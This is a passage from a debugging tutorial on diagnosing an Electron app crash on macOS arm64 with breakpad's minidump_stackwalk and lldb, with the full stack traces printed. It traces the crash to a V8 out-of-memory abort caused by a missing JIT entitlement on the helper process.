cd breakpad
./configure
make
# Optional
make install

After executing the above command, you can parse the dmp using ./src/processor/minidump_stackwalk, or you can directly use minidump_stackwalk (if you executed make install).

The basic usage method is:

minidump_stackwalk /path/to/your.dmp [/path/to/symbols]

If you use minidump_stackwalk /path/to/your.dmp, the output you get will only be addresses, and you won’t be able to see the function names. Therefore, we need to provide a symbol file in order to see the function names.

You can download the symbol file by running: wget https://github.com/electron/electron/releases/download/<ELECTEON_VERSION>/electron-<ELECTEON_VERSION>-darwin-arm64-symbols.zip. For my own case, I downloaded:

wget https://github.com/electron/electron/releases/download/v30.5.1/electron-v30.5.1-darwin-arm64-symbols.zip

This file is specifically prepared for breakpad, so we can directly unzip it to a certain directory and then use that directory as a parameter to pass to minidump_stackwalk.

minidump_stackwalk ./0c6d2547-6694-4109-b82e-cc3e6331885f.dmp ./electron-v30.5.1-darwin-arm64-symbols/breakpad_symbols

Next, you will be able to see the detailed crash information. In my case, the result I got is:

Operating system: Mac OS X
                  14.6.1 23G93
CPU: arm64
     12 CPUs

GPU: UNKNOWN

Crash reason:  EXC_BREAKPOINT / 0x00000001
Crash address: 0x1129666c8
Process uptime: 0 seconds

Thread 0 (crashed)
 0  Electron Framework!v8::base::OS::Abort() [platform-posix.cc : 699 + 0x0]
     x0 = 0x0000000000000000    x1 = 0x0000000000000000
     x2 = 0x00000000000120a8    x3 = 0x00000001117656e0
     x4 = 0x00000001804b5a5f    x5 = 0x000000016b046af0
     x6 = 0x000000000000000a    x7 = 0x0000000000000000
     x8 = 0x0000000000000001    x9 = 0x00000001e83ff610
    x10 = 0x0000000000000002   x11 = 0x00000000fffffffd
    x12 = 0x0000010000000000   x13 = 0x0000000000000000
    x14 = 0x0000000000000000   x15 = 0x0000000000000000
    x16 = 0x00000001805657d4   x17 = 0x00000001f2af63e0
    x18 = 0x0000000000000000   x19 = 0x0000013c002cf000
    x20 = 0x0000000115675980   x21 = 0x0000013c002c0000
    x22 = 0x000000016b04fc28   x23 = 0x000000000000ded0
    x24 = 0x000000016b04fd0e   x25 = 0x000000016b047448
    x26 = 0x0000000000010820   x27 = 0x000000000000e838
    x28 = 0x0000013c002d0540    fp = 0x000000016b0473e0
     lr = 0x000000011295e6ec    sp = 0x000000016b0473e0
     pc = 0x00000001129666c8
    Found by: given as instruction pointer in context
 1  Electron Framework!v8::base::FatalOOM(v8::base::OOMType, char const*) [logging.cc : 94 + 0x0]
    x19 = 0x0000013c002cf000   x20 = 0x0000000115675980
    x21 = 0x0000013c002c0000   x22 = 0x000000016b04fc28
    x23 = 0x000000000000ded0   x24 = 0x000000016b04fd0e
    x25 = 0x000000016b047448   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b047400    sp = 0x000000016b0473f0
     pc = 0x000000011295e6ec
    Found by: call frame info
 2  Electron Framework!v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [api.cc : 341 + 0x0]
    x19 = 0x0000013c002cf000   x20 = 0x0000000115675980
    x21 = 0x0000013c002c0000   x22 = 0x000000016b04fc28
    x23 = 0x000000000000ded0   x24 = 0x000000016b04fd0e
    x25 = 0x000000016b047448   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b047420    sp = 0x000000016b047410
     pc = 0x000000010f5c66f4
    Found by: call frame info
 3  Electron Framework!v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [api.cc : 301 + 0xc]
    x19 = 0x0000000115e75e8d   x20 = 0x0000000115675980
    x21 = 0x0000013c002c0000   x22 = 0x000000016b04fc28
    x23 = 0x000000000000ded0   x24 = 0x000000016b04fd0e
    x25 = 0x000000016b047448   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b050150    sp = 0x000000016b047430
     pc = 0x000000010f5c6638
    Found by: call frame info
 4  Electron Framework!v8::internal::(anonymous namespace)::InitProcessWideCodeRange(v8::PageAllocator*, unsigned long) [code-range.cc : 458 + 0x14]
    x19 = 0x0000013c000c1a40   x20 = 0x0000000010000000
    x21 = 0x0000013c000c1a80   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b050180    sp = 0x000000016b050160
     pc = 0x000000010f71ce70
    Found by: call frame info
 5  Electron Framework!v8::base::CallOnceImpl(std::__Cr::atomic<unsigned char>*, std::__Cr::function<void ()>) [function.h : 428 + 0x8]
    x19 = 0x0000000116de0e90   x20 = 0x0000013c000d0b40
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0501a0    sp = 0x000000016b050190
     pc = 0x0000000112962d28
    Found by: call frame info
 6  Electron Framework!v8::internal::CodeRange::EnsureProcessWideCodeRange(v8::PageAllocator*, unsigned long) [once.h : 101 + 0x10]
    x19 = 0x000000016b0501b8   x20 = 0x0000013c000d0b40
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0501f0    sp = 0x000000016b0501b0
     pc = 0x000000010f71cd64
    Found by: call frame info
 7  Electron Framework!v8::internal::Heap::SetUp(v8::internal::LocalHeap*) [heap.cc : 5530 + 0x4]
    x19 = 0x0000013c002cded0   x20 = 0x0000000010000000
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0502a0    sp = 0x000000016b050200
     pc = 0x000000010f791418
    Found by: call frame info
 8  Electron Framework!v8::internal::Isolate::Init(v8::internal::SnapshotData*, v8::internal::SnapshotData*, v8::internal::SnapshotData*, bool) [isolate.cc : 4719 + 0x0]
    x19 = 0x0000013c002c0000   x20 = 0x000000016b050930
    x21 = 0x0000013c002cdec0   x22 = 0x0000013c002cf2d8
    x23 = 0x0000000000000000   x24 = 0x0000000000000000
    x25 = 0x0000013c002c0110   x26 = 0x0000000000010820
    x27 = 0x000000000000e838   x28 = 0x0000013c002d0540
     fp = 0x000000016b0508e0    sp = 0x000000016b0502b0
     pc = 0x000000010f6f5218
    Found by: call frame info
 9  Electron Framework!v8::internal::Isolate::InitWithSnapshot(v8::internal::SnapshotData*, v8::internal::SnapshotData*, v8::internal::SnapshotData*, bool) [isolate.cc : 4376 + 0x0]
    x19 = 0x0000013c002c0000   x20 = 0x0000000116dfabd8
    x21 = 0x0000013c002d0680   x22 = 0x0000013c002cee98
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b0508f0    sp = 0x000000016b0508f0
     pc = 0x000000010f6f5d80
    Found by: call frame info
10  Electron Framework!v8::internal::Snapshot::Initialize(v8::internal::Isolate*) [snapshot.cc : 198 + 0x10]
    x19 = 0x0000013c002c0000   x20 = 0x0000000116dfabd8
    x21 = 0x0000013c002d0680   x22 = 0x0000013c002cee98
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b0509d0    sp = 0x000000016b050900
     pc = 0x000000010fb92e5c
    Found by: call frame info
11  Electron Framework!v8::Isolate::Initialize(v8::Isolate*, v8::Isolate::CreateParams const&) [api.cc : 9725 + 0x4]
    x19 = 0x0000013c002c0000   x20 = 0x0000013c00042f40
    x21 = 0x0000013c002d0680   x22 = 0x0000013c002cee98
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050a10    sp = 0x000000016b0509e0
     pc = 0x000000010f5ea6ac
    Found by: call frame info
12  Electron Framework!gin::IsolateHolder::IsolateHolder(scoped_refptr<base::SingleThreadTaskRunner>, gin::IsolateHolder::AccessMode, gin::IsolateHolder::IsolateType, std::__Cr::unique_ptr<v8::Isolate::CreateParams, std::__Cr::default_delete<v8::Isolate::CreateParams>>, gin::IsolateHolder::IsolateCreationMode, scoped_refptr<base::SingleThreadTaskRunner>, v8::Isolate*) [isolate_holder.cc : 122 + 0x0]
    x19 = 0x0000013c00161688   x20 = 0x0000013c00020360
    x21 = 0x000000016b050a88   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x0000013c002c0000
    x25 = 0x0000013c000a0280   x26 = 0x0000000116d82000
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050a60    sp = 0x000000016b050a20
     pc = 0x0000000112aff208
    Found by: call frame info
13  Electron Framework!electron::JavascriptEnvironment::JavascriptEnvironment(uv_loop_s*, bool) [javascript_environment.cc : 97 + 0x1c]
    x19 = 0x0000013c00161680   x20 = 0x0000013c00161688
    x21 = 0x0000013c002c0000   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050ab0    sp = 0x000000016b050a70
     pc = 0x000000010e4cd8e8
    Found by: call frame info
14  Electron Framework!electron::NodeService::Initialize(mojo::StructPtr<node::mojom::NodeServiceParams>) [unique_ptr.h : 621 + 0x8]
    x19 = 0x0000013c00170d20   x20 = 0x000000016b050c70
    x21 = 0x0000000116dd4c08   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050c60    sp = 0x000000016b050ac0
     pc = 0x000000010e581fac
    Found by: call frame info
15  Electron Framework!node::mojom::NodeServiceStubDispatch::Accept(node::mojom::NodeService*, mojo::Message*) [node_service.mojom.cc : 278 + 0x10]
    x19 = 0x0000013c00170d20   x20 = 0x000000016b051150
    x21 = 0x0000013c00082d00   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050c90    sp = 0x000000016b050c70
     pc = 0x000000011147d9bc
    Found by: call frame info
16  Electron Framework!mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) [interface_endpoint_client.cc : 1021 + 0xc]
    x19 = 0x0000013c00082d00   x20 = 0x000000016b051150
    x21 = 0x0000013c00082d00   x22 = 0x0000000000000000
    x23 = 0x0000000000000000   x24 = 0x000000016b050d20
    x25 = 0x0000000116d82000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050dd0    sp = 0x000000016b050ca0
     pc = 0x00000001119d1108
    Found by: call frame info
17  Electron Framework!mojo::MessageDispatcher::Accept(mojo::Message*) [message_dispatcher.cc : 43 + 0xc]
    x19 = 0x000000016b051150   x20 = 0x0000013c00082de8
    x21 = 0x000000016b051150   x22 = 0x0000013c00082d00
    x23 = 0x0000000000000000   x24 = 0x000000016b0510c0
    x25 = 0x0000000000000000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050e30    sp = 0x000000016b050de0
     pc = 0x00000001119d5b78
    Found by: call frame info
18  Electron Framework!mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) [interface_endpoint_client.cc : 706 + 0x4]
    x19 = 0x00000001158a778e   x20 = 0x0000000028bc8f23
    x21 = 0x000000016b051150   x22 = 0x0000013c00082d00
    x23 = 0x0000000000000000   x24 = 0x000000016b0510c0
    x25 = 0x0000000000000000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b050fa0    sp = 0x000000016b050e40
     pc = 0x00000001119d2d40
    Found by: call frame info
19  Electron Framework!mojo::internal::MultiplexRouter::Accept(mojo::Message*) [multiplex_router.cc : 1096 + 0x8]
    x19 = 0x0000013c00092800   x20 = 0x0000013c000c1040
    x21 = 0x0000000000000000   x22 = 0x0000013c00082d00
    x23 = 0x0000000000000000   x24 = 0x000000016b0510c0
    x25 = 0x0000000000000000   x26 = 0x0000013c00092ac8
    x27 = 0x0000000000000000   x28 = 0x000000016b0510c0
     fp = 0x000000016b051230    sp = 0x000000016b050fb0
     pc = 0x00000001119de6cc
    Found by: call frame info
20  Electron Framework!mojo::MessageDispatcher::Accept(mojo::Message*) [message_dispatcher.cc : 43 + 0xc]
    x19 = 0x000000016b051300   x20 = 0x0000013c00092830
    x21 = 0x0000000000000000   x22 = 0x0000013c000509e0
    x23 = 0x000000016b051300   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x000000016b051380   x26 = 0x0000000000000000
    x27 = 0x0000000000000008   x28 = 0x0000000116d82000
     fp = 0x000000016b051290    sp = 0x000000016b051240
     pc = 0x00000001119d5b78
    Found by: call frame info
21  Electron Framework!base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) [connector.cc : 554 + 0xc]
    x19 = 0x0000013c00092860   x20 = 0x0000013c00092a10
    x21 = 0x0000000000000000   x22 = 0x0000013c000509e0
    x23 = 0x000000016b051300   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x000000016b051380   x26 = 0x0000000000000000
    x27 = 0x0000000000000008   x28 = 0x0000000116d82000
     fp = 0x000000016b051420    sp = 0x000000016b0512a0
     pc = 0x00000001119ce6a8
    Found by: call frame info
22  Electron Framework!base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) [callback.h : 344 + 0x4]
    x19 = 0x0000013c00073070   x20 = 0x0000013c001603c0
    x21 = 0x0000013c00160240   x22 = 0x0000000000000000
    x23 = 0x0000013c00062f80   x24 = 0x000000016b0514e8
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0x0000000116eda000   x28 = 0x00000001158a778e
     fp = 0x000000016b051440    sp = 0x000000016b051430
     pc = 0x000000010e404a4c
    Found by: call frame info
23  Electron Framework!base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) [callback.h : 344 + 0x8]
    x19 = 0x0000000116d82000   x20 = 0x0000013c001603c0
    x21 = 0x0000013c00160240   x22 = 0x0000000000000000
    x23 = 0x0000013c00062f80   x24 = 0x000000016b0514e8
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0x0000000116eda000   x28 = 0x00000001158a778e
     fp = 0x000000016b051580    sp = 0x000000016b051450
     pc = 0x00000001119f2388
    Found by: call frame info
24  Electron Framework!base::TaskAnnotator::RunTaskImpl(base::PendingTask&) [callback.h : 156 + 0x0]
    x19 = 0x0000013c00261000   x20 = 0x0000012800440270
    x21 = 0x0000000000000000   x22 = 0x0000000000000000
    x23 = 0x0000013c00080000   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0xaaaaaaaaaaaaaa00   x28 = 0x0000000000000000
     fp = 0x000000016b051600    sp = 0x000000016b051590
     pc = 0x00000001116bea7c
    Found by: call frame info
25  Electron Framework!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) [task_annotator.h : 90 + 0x8]
    x19 = 0x0000013c00261000   x20 = 0xaaaaaaaaaaaaaa00
    x21 = 0x0000000000000019   x22 = 0x0000000000000000
    x23 = 0x0000013c00080000   x24 = 0xaaaaaaaaaaaaaaaa
    x25 = 0x0000000116d82000   x26 = 0x0000000000000000
    x27 = 0xaaaaaaaaaaaaaa00   x28 = 0x0000000000000000
     fp = 0x000000016b051880    sp = 0x000000016b051610
     pc = 0x00000001116d8f5c
    Found by: call frame info
26  Electron Framework!non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() [thread_controller_with_message_pump_impl.cc : 338 + 0xc]
    x19 = 0x000000016b051920   x20 = 0x0000013c000800e8
    x21 = 0x0000013c00080000   x22 = 0xaaaaaaaaaaaaaaaa
    x23 = 0x7fffffffffffffff   x24 = 0x0000000000000000
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051910    sp = 0x000000016b051890
     pc = 0x00000001116d956c
    Found by: call frame info
27  Electron Framework!base::MessagePumpDefault::Run(base::MessagePump::Delegate*) [message_pump_default.cc : 40 + 0x8]
    x19 = 0x0000013c00060440   x20 = 0x0000013c000800e8
    x21 = 0x0000000000000001   x22 = 0xaaaaaaaaaaaaaaaa
    x23 = 0x7fffffffffffffff   x24 = 0x0000000000000000
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051980    sp = 0x000000016b051920
     pc = 0x000000011168056c
    Found by: call frame info
28  Electron Framework!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) [thread_controller_with_message_pump_impl.cc : 641 + 0x0]
    x19 = 0x0000013c00080000   x20 = 0x0000000000000001
    x21 = 0x7fffffffffffffff   x22 = 0x0000000000000001
    x23 = 0x7ffffffffffffff7   x24 = 0x000000016b051b58
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b0519d0    sp = 0x000000016b051990
     pc = 0x00000001116d9bd4
    Found by: call frame info
29  Electron Framework!base::RunLoop::Run(base::Location const&) [run_loop.cc : 134 + 0x4]
    x19 = 0x000000016b051b10   x20 = 0x000000016b051ad0
    x21 = 0x000000016b0519e8   x22 = 0x0000000000000000
    x23 = 0x7ffffffffffffff7   x24 = 0x000000016b051b58
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051ab0    sp = 0x000000016b0519e0
     pc = 0x00000001116a4f04
    Found by: call frame info
30  Electron Framework!content::UtilityMain(content::MainFunctionParams) [utility_main.cc : 439 + 0x24]
    x19 = 0x00000128002ce5b0   x20 = 0x0000000000000007
    x21 = 0x0000000115652ec1   x22 = 0x000000016b051ad7
    x23 = 0x7ffffffffffffff7   x24 = 0x000000016b051b58
    x25 = 0x0000000000000016   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051c50    sp = 0x000000016b051ac0
     pc = 0x00000001110e24c4
    Found by: call frame info
31  Electron Framework!content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) [content_main_runner_impl.cc : 775 + 0x4]
    x19 = 0x00000001110e1dd8   x20 = 0x000000016b0521f0
    x21 = 0x000000016b051dd0   x22 = 0x0000000116ae4668
    x23 = 0x000000016b051e98   x24 = 0x0000000000000007
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051db0    sp = 0x000000016b051c60
     pc = 0x000000010e6ef7e4
    Found by: call frame info
32  Electron Framework!content::ContentMainRunnerImpl::Run() [content_main_runner_impl.cc : 1150 + 0x8]
    x19 = 0x00000128002e0280   x20 = 0x000000016b051dd0
    x21 = 0x000000016b051e50   x22 = 0x000000016b051e98
    x23 = 0x0000000000000007   x24 = 0x0000000000000007
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b051ef0    sp = 0x000000016b051dc0
     pc = 0x000000010e6f04e0
    Found by: call frame info
33  Electron Framework!content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) [content_main.cc : 331 + 0x4]
    x19 = 0x00000128002e0280   x20 = 0x0000000000000007
    x21 = 0x000000016b051f08   x22 = 0x0000000000000007
    x23 = 0x000000016b052040   x24 = 0x000000016b052380
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b052100    sp = 0x000000016b051f00
     pc = 0x000000010e6eee84
    Found by: call frame info
34  Electron Framework!content::ContentMain(content::ContentMainParams) [content_main.cc : 344 + 0x4]
    x19 = 0x000000016b052178   x20 = 0x000000016b052110
    x21 = 0x0000000116d82000   x22 = 0x0000000000000080
    x23 = 0x000000016b0522f0   x24 = 0x000000016b052380
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b052160    sp = 0x000000016b052110
     pc = 0x000000010e6ef048
    Found by: call frame info
35  Electron Framework!ElectronMain [electron_library_main.mm : 26 + 0x4]
    x19 = 0x000000016b0524f0   x20 = 0x0000000000000014
    x21 = 0x0000000116d82000   x22 = 0x0000000000000080
    x23 = 0x000000016b0522f0   x24 = 0x000000016b052380
    x25 = 0x000000018028fe0b   x26 = 0x0000000000000000
    x27 = 0x0000000000000000   x28 = 0x0000000000000000
     fp = 0x000000016b052250    sp = 0x000000016b052170
     pc = 0x000000010e3c852c
    Found by: call frame info
36  Electron Framework!ElectronMain [electron_library_main.mm : 26 + 0x4]
     fp = 0x000000016b0522a0    lr = 0x0000000104daca50
     sp = 0x000000016b052260    pc = 0x000000010e3c852c
    Found by: previous frame's frame pointer
37  OOMOL Studio Helper (Plugin) + 0xa4c
     fp = 0x000000016b0524d0    lr = 0x000000018021b154
     sp = 0x000000016b0522b0    pc = 0x0000000104daca50
    Found by: previous frame's frame pointer
38  dyld + 0x6150
     fp = 0x0000000000000000    lr = 0x534b800000000000
     sp = 0x000000016b0524e0    pc = 0x000000018021b154
    Found by: previous frame's frame pointer
...
...

It can be seen that the cause of the crash here is that the Helper (Plugin) process (corresponding to AppName Helper (Plugin).app in electron) failed to allocate memory when using UtilityMain (corresponding to utilityProcess in electron), leading to the crash.

Combining this with our business needs: when we use electron’s utilityProcess.fork method, the v8 engine in the forked script is unable to allocate memory, resulting in a crash.

Ultimately, we found that this was caused by the lack of the com.apple.security.cs.allow-jit entitlement in the entitlements we declared for AppName Helper (Plugin).app during the code signing process.

Using `lldb`

Personally, I would prefer using lldb to investigate the cause of the crash, as its output is more intuitive.

First, use the following command to download the dsym file:

wget https://github.com/electron/electron/releases/download/v30.5.1/electron-v30.5.1-darwin-arm64-dsym.zip

After decompressing is complete, we need to set the search path for lldb and execute bt to view:

lldb -c ./0c6d2547-6694-4109-b82e-cc3e6331885f.dmp -o "settings set target.exec-search-paths ./electron-v30.5.1-darwin-arm64-dsym" -o "bt"

The final output is as follows:

* thread #1, stop reason = EXC_BREAKPOINT (code=1, subcode=0x1129666c8)
  * frame #0: 0x00000001129666c8 Electron Framework`v8::base::OS::Abort() [inlined] v8::base::OS::Abort()::$_0::operator()(this=<unavailable>) const at platform-posix.cc:699:7 [opt]
    frame #1: 0x00000001129666c8 Electron Framework`v8::base::OS::Abort() at platform-posix.cc:699:7 [opt]
    frame #2: 0x000000011295e6ec Electron Framework`v8::base::FatalOOM(type=<unavailable>, msg=<unavailable>) at logging.cc:94:3 [opt]
    frame #3: 0x000000010f5c66f4 Electron Framework`v8::Utils::ReportOOMFailure(i_isolate=<unavailable>, location=<unavailable>, details=<unavailable>) at api.cc:341:7 [opt]
    frame #4: 0x000000010f5c6638 Electron Framework`v8::internal::V8::FatalProcessOutOfMemory(i_isolate=0x0000013c002c0000, location="", details=0x0000000115675980) at api.cc:301:3 [opt]
    frame #5: 0x000000010f71ce70 Electron Framework`v8::internal::(anonymous namespace)::InitProcessWideCodeRange(page_allocator=<unavailable>, requested_size=<unavailable>) at code-range.cc:458:5 [opt]
    frame #6: 0x0000000112962d28 Electron Framework`v8::base::CallOnceImpl(std::__Cr::atomic<unsigned char>*, std::__Cr::function<void ()>) [inlined] std::__Cr::__function::__value_func<void ()>::operator()(this=<unavailable>) const at function.h:428:12 [opt]
    frame #7: 0x0000000112962d14 Electron Framework`v8::base::CallOnceImpl(std::__Cr::atomic<unsigned char>*, std::__Cr::function<void ()>) [inlined] std::__Cr::function<void ()>::operator()(this=<unavailable>) const at function.h:981:10 [opt]
    frame #8: 0x0000000112962d14 Electron Framework`v8::base::CallOnceImpl(once=0x0000000116de0e90, init_func=<unavailable>) at once.cc:36:5 [opt]
    frame #9: 0x000000010f71cd64 Electron Framework`v8::internal::CodeRange::EnsureProcessWideCodeRange(v8::PageAllocator*, unsigned long) [inlined] void v8::base::CallOnce<v8::PageAllocator*, unsigned long, void>(once=<unavailable>, init_func=<unavailable>, args=<unavailable>, args=<unavailable>) at once.h:101:5 [opt]
    frame #10: 0x000000010f71cd10 Electron Framework`v8::internal::CodeRange::EnsureProcessWideCodeRange(page_allocator=0x0000013c000d0b40, requested_size=<unavailable>) at code-range.cc:475:3 [opt]
    frame #11: 0x000000010f791418 Electron Framework`v8::internal::Heap::SetUp(this=0x0000013c002cded0, main_thread_local_heap=<unavailable>) at heap.cc:5530:19 [opt]
    frame #12: 0x000000010f6f5218 Electron Framework`v8::internal::Isolate::Init(this=0x0000013c002c0000, startup_snapshot_data=0x000000016b050960, read_only_snapshot_data=0x000000016b050948, shared_heap_snapshot_data=0x000000016b050930, can_rehash=true) at isolate.cc:4719:9 [opt]
    frame #13: 0x000000010f6f5d80 Electron Framework`v8::internal::Isolate::InitWithSnapshot(this=<unavailable>, startup_snapshot_data=<unavailable>, read_only_snapshot_data=<unavailable>, shared_heap_snapshot_data=<unavailable>, can_rehash=<unavailable>) at isolate.cc:4376:10 [opt]
    frame #14: 0x000000010fb92e5c Electron Framework`v8::internal::Snapshot::Initialize(isolate=0x0000013c002c0000) at snapshot.cc:198:19 [opt]
    frame #15: 0x000000010f5ea6ac Electron Framework`v8::Isolate::Initialize(v8_isolate=0x0000013c002c0000, params=0x0000013c00042f40) at api.cc:9725:8 [opt]
    frame #16: 0x0000000112aff208 Electron Framework`gin::IsolateHolder::IsolateHolder(this=0x0000013c00161688, task_runner=scoped_refptr<base::SingleThreadTaskRunner> @ x20, access_mode=<unavailable>, isolate_type=<unavailable>, params=v8::Isolate::CreateParams @ 0x0000013c00042f40, isolate_creation_mode=kNormal, low_priority_task_runner=scoped_refptr<base::SingleThreadTaskRunner> @ scalar, isolate=<unavailable>) at isolate_holder.cc:122:5 [opt]
    frame #17: 0x000000010e4cd8e8 Electron Framework`electron::JavascriptEnvironment::JavascriptEnvironment(uv_loop_s*, bool) [inlined] electron::(anonymous namespace)::CreateIsolateHolder(isolate=0x0000013c002c0000) at javascript_environment.cc:97:10 [opt]
    frame #18: 0x000000010e4cd884 Electron Framework`electron::JavascriptEnvironment::JavascriptEnvironment(this=0x0000013c00161680, event_loop=<unavailable>, setup_wasm_streaming=<unavailable>) at javascript_environment.cc:108:23 [opt]
    frame #19: 0x000000010e581fac Electron Framework`electron::NodeService::Initialize(mojo::StructPtr<node::mojom::NodeServiceParams>) [inlined] std::__Cr::__unique_if<electron::JavascriptEnvironment>::__unique_single std::__Cr::make_unique<electron::JavascriptEnvironment, uv_loop_s*>(__args=<unavailable>) at unique_ptr.h:621:30 [opt]
    frame #20: 0x000000010e581f98 Electron Framework`electron::NodeService::Initialize(this=0x0000013c00170d20, params=node::mojom::NodeServiceParamsPtr @ 0x000000016b050c70) at node_service.cc:81:13 [opt]
    frame #21: 0x000000011147d9bc Electron Framework`node::mojom::NodeServiceStubDispatch::Accept(impl=0x0000013c00170d20, message=0x000000016b051150) at node_service.mojom.cc:278:13 [opt]
